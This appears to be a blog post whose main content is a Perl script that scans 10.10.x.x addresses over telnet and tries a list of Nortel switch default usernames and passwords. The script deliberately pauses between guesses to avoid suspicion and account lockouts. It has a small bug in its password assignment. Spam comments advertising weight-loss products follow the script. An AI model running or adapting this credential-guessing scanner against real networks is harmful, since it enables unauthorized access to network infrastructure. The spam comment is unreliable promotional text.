######################################################################
#!/usr/bin/perl#######################################################################
use Net::Telnet;
#Nortels default username/passwords
@norteldefault = ('rwa','rw','ro','l3','l2','l1','operator','slbop','slbadmin');
#all switches ip
$top=254;
$bot=126;
#gernerate hosts to test
for($a= 1; $a < 100; $a++){
#creat host for every class we want to scan and push on array
#just comment out blocks you dont want to scan or add more
#192.168.*.1,253
#$temp ="192.1.".$a.".".$top;
#push @hosts,$temp;
#$temp ="192.168.".$a.".".$bot;
#push @hosts,$temp;
#192.1.*.1,253
#$temp ="192.1.".$a.".".$top;
#push @hosts,$temp;
#$temp ="192.1.".$a.".".$bot;
#push @hosts,$temp;
#10.10.*.1,253
$temp ="10.10.".$a.".".$top;
push @hosts,$temp;
$temp ="10.10.".$a.".".$bot;
push @hosts,$temp;
}
#setup telnet
$telnet = new Net::Telnet (Timeout => 3, Errmode => "return");
#main loop to do the fun
foreach $host (@hosts){
chomp $host;
if($telnet-> open($host)){
print "\nConnected to $host";
foreach $userpass (@norteldefault) {
chomp $userpass;
$user = $userpass;
$pass = %userpass;
&login;
sleep (30);
};
}
else{print "\nCould Not Connect To $host"}
};
####old testing
#sub conn{
#
#$telnet = new Net::Telnet (Timeout => 3, Errmode => "return");
#if($telnet-> open($host)){
# $connect=1;
# &login;
#}
#};
sub login{
print "\nTrying To login with $userpass";
print "\nWaiting 30sec before next guess. prevent susp. and lockouts";
if($telnet -> login($userpass,$userpass)){
print "\nLogged In With $userpass To $host !!!!";
print "\nThis has been logged to File!!!!";
}
$telnet -> close;
};
Reference:
http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
1 comment:
Hello,
When ever I surf on web I come to this website[url=http://www.weightrapidloss.com/lose-10-pounds-in-2-weeks-quick-weight-loss-tips].[/url]You have really contiributed very good info here informationintoxication.blogspot.com. I am sure due to busy scedules we really do not get time to care about our health. Here is a fact for you. Recent Research points that nearly 60% of all USA grownups are either fat or weighty[url=http://www.weightrapidloss.com/lose-10-pounds-in-2-weeks-quick-weight-loss-tips].[/url] Therefore if you're one of these people, you're not alone. Its true that we all can't be like Brad Pitt, Angelina Jolie, Megan Fox, and have sexy and perfect six pack abs. Now the question is how you are planning to have quick weight loss? [url=http://www.weightrapidloss.com/lose-10-pounds-in-2-weeks-quick-weight-loss-tips]Quick weight loss[/url] is really not as tough as you think. If you improve some of your daily diet habbits then, its like piece of cake to quickly lose weight.
About me: I am writer of [url=http://www.weightrapidloss.com/lose-10-pounds-in-2-weeks-quick-weight-loss-tips]Quick weight loss tips[/url]. I am also mentor who can help you lose weight quickly. If you do not want to go under hard training program than you may also try [url=http://www.weightrapidloss.com/acai-berry-for-quick-weight-loss]Acai Berry[/url] or [url=http://www.weightrapidloss.com/colon-cleanse-for-weight-loss]Colon Cleansing[/url] for effective weight loss.
Post a Comment